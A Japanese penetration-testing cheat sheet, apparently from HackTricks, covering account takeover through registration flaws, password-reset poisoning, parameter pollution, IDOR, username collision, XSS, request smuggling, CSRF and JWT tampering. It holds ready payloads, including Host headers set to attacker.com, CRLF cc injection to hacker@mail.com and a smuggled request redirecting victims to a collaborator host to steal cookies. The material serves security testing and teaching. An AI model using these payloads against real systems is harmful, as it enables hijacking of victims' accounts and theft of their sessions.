# 登録および乗っ取りの脆弱性
{{#include ../banners/hacktricks-training.md}}
## 登録乗っ取り
### 重複登録
- 既存のユーザー名を使用して生成を試みる
- メールアドレスを変えて確認する:
- 大文字
- \+1@
- メールにドットを追加する
- メール名に特殊文字 (%00, %09, %20)
- メールの後に黒い文字を入れる: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### ユーザー名列挙
アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。
### パスワードポリシー
ユーザーを作成する際にパスワードポリシーを確認する(弱いパスワードを使用できるか確認する)。\
その場合、資格情報をブルートフォース攻撃することを試みるかもしれない。
### SQLインジェクション
[**このページを確認**](sql-injection/index.html#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。
### Oauth乗っ取り
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
### SAML脆弱性
{{#ref}}
saml-attacks/
{{#endref}}
### メール変更
登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。
### その他のチェック
- **使い捨てメール**が使用できるか確認する
- **長い** **パスワード** (>200) は **DoS** を引き起こす
- **アカウント作成のレート制限を確認する**
- username@**burp_collab**.netを使用し、**コールバック**を分析する
## **パスワードリセット乗っ取り**
### リファラー経由のパスワードリセットトークン漏洩
1. 自分のメールアドレスにパスワードリセットをリクエストする
2. パスワードリセットリンクをクリックする
3. パスワードを変更しない
4. 3rdパーティのウェブサイトをクリックする(例: Facebook, Twitter)
5. Burp Suiteプロキシでリクエストを傍受する
6. refererヘッダーがパスワードリセットトークンを漏洩しているか確認する。
### パスワードリセットポイズニング
1. Burp Suiteでパスワードリセットリクエストを傍受する
2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 修正されたヘッダーでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダー_に基づいてパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR on API Parameters
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. リピータタブに送信し、パラメータを編集します:ユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token
パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\
トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。
- タイムスタンプ
- ユーザーID
- ユーザーのメール
- 名と姓
- 生年月日
- 暗号化
- 数字のみ
- 小さなトークンシーケンス(文字は\[A-Z,a-z,0-9]の間)
- トークンの再利用
- トークンの有効期限
### Leaking Password Reset Token
1. 特定のメール(例:test@mail.com)を使用してAPI/UIからパスワードリセットリクエストをトリガーします。
2. サーバーの応答を検査し、`resetToken`を確認します。
3. 次に、トークンをURLに使用します:`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### Password Reset Via Username Collision
1. 被害者のユーザー名と同一のユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. あなたのメールに送信されたトークンを使用して、被害者のパスワードをリセットします。
4. 新しいパスワードで被害者のアカウントに接続します。
プラットフォームCTFdはこの攻撃に対して脆弱でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### Account Takeover Via Cross Site Scripting
1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合:`*.domain.com`
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### Account Takeover Via HTTP Request Smuggling
1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプ(CL、TE、CL.TE)を検出します。\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\
3\. 最終リクエストは次のようになる可能性があります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackeroneはこのバグを悪用した報告をしています\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRFによるアカウント乗っ取り
1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム”
2. ペイロードを送信します
### JWTによるアカウント乗っ取り
JSON Web Tokenはユーザーを認証するために使用されることがあります。
- 別のユーザーID / メールでJWTを編集します
- 弱いJWT署名を確認します
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
## 参考文献
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}